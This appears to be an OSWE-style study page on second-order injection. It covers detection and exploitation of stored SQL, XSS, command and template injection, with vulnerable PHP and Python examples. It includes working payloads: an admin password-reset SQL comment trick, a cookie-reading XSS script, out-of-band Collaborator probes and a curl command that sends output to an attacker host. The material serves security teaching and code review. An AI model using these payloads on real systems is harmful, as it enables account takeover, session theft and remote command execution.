Second-Order Injection
Second-order (stored) injection: SQL, XSS, and command injection where malicious input is safely stored then unsafely used later. OSWE white-box identification, blind detection via timing/OOB, and exploitation patterns.
What is Second-Order Injection
First-order injection fires immediately when input is submitted. Second-order (stored) injection stores the payload safely (escaping, parameterised insert) but later retrieves and uses the stored value without sanitisation in a different context — a different query, page, or system call.
This bypasses input sanitisation at the entry point and is a core OSWE white-box pattern because you only discover it by reading the code that uses stored values, not just the code that stores them.
Detection — Black-Box
Step 1 — Store a payload in every user-controlled field
Register, update a profile, or submit any form that persists data. In each field, store a payload that would trigger if unsanitised:
Username: admin'-- -
Full name: <script>alert(1)</script>
Address: $(id)
Email: test+${7*7}@example.com
Step 2 — Trigger the code path that reads the stored value
Use every feature that retrieves and processes the stored data:
- Log in with the poisoned username
- View your profile
- Generate a report containing your name
- Export data that includes your field
- An admin panel that displays your registration data
Watch for errors, execution, or changed responses.
Step 3 — Blind detection with Burp Collaborator
Store a Collaborator URL in each field:
Username: x'||(SELECT+LOAD_FILE('\\\\COLLABORATOR\\a'))||'x
Address: <script src="//COLLABORATOR/x"></script>
When the admin views the user list or a report is generated, Collaborator pings confirm execution.
Second-Order SQL Injection
How it happens
// Registration — safe (parameterised)
$stmt = $pdo->prepare("INSERT INTO users (username) VALUES (?)");
$stmt->execute([$_POST['username']]);
// Password change — unsafe (uses stored username from session)
$username = $_SESSION['username']; // "admin'-- -"
$query = "UPDATE users SET password='$newpass' WHERE username='$username'";
The INSERT is safe. The UPDATE concatenates the stored username directly.
Exploit pattern
- Register with username:
admin'-- - - Log in as the new user.
- Change your password.
- The backend runs:
UPDATE users SET password='newpass' WHERE username='admin'-- -' - The
-- -comments out the closing quote — you changed admin’s password.
Time-based blind confirmation
Store a time payload in the field, then trigger the code path that uses it:
username: a'+(SELECT SLEEP(5))+'a
When the code later builds a query using this username → 5-second delay confirms execution.
Second-Order XSS
How it happens
// Input — sanitised for display (html entities)
$name = htmlspecialchars($_POST['name']);
INSERT INTO profiles (name) VALUES ('$name');
// Later — used unsanitised in a different context (admin panel, CSV export, email)
$row = $db->query("SELECT name FROM profiles WHERE id=$id")->fetch();
echo "<td>" . $row['name'] . "</td>"; // no escaping here
Exploit
- Register with name:
<script>alert(document.cookie)</script> - The registration page shows it safely (HTML-encoded).
- The admin panel retrieves and renders it without encoding → XSS fires when admin views it.
Stored XSS in export / email
Insert a payload into a field that appears in:
- CSV exports (may be rendered by Excel → CSV injection too)
- PDF generation (headless browser renders XSS)
- Email HTML body (XSS in email client)
- System logs displayed in a web UI
Second-Order Command Injection
How it happens
# Safe storage
username = request.form['username']
db.execute("INSERT INTO users (username) VALUES (?)", (username,))
# Unsafe use — later processing
username = db.query("SELECT username FROM users WHERE id=?", (user_id,)).fetchone()[0]
subprocess.run(f"send_report.sh {username}", shell=True)
Exploit
Register username as: ; curl http://ATTACKER/$(id) ;
When the report generation runs, it executes: send_report.sh ; curl http://ATTACKER/$(id) ;
Second-Order SSTI
Store a template payload in a field that gets rendered by a template engine later:
Name: {{7*7}}
Bio: ${7*7}
If a report, email, or admin view renders the field through a template engine without escaping → SSTI fires.
OSWE White-Box Methodology
- Map all storage points — every INSERT/UPDATE that takes user input.
- Find all retrieval points — every SELECT that returns stored user data.
- Trace how retrieved data is used — is it parameterised, escaped, or concatenated directly into queries/commands/templates?
- Look specifically for:
- Username used in queries after login
- Profile fields used in reports, exports, emails
- Any field that gets used in a context different from where it was inputted
# Find all places stored values are used in queries (PHP example)
grep -rn "\\$_SESSION\|fetchColumn\|fetch()" --include="*.php" . | grep -v "prepare\|bindParam"
Burp Suite workflow
- Proxy — intercept every registration/profile update and note all stored fields.
- Repeater — store payloads in each field; then replay requests to every code path that reads stored data.
- Collaborator — use OOB payloads (DNS) to detect blind second-order execution in both SQL and XSS contexts.
- Scanner — Burp’s active scanner tests second-order SQLi by storing probes and then crawling to trigger them.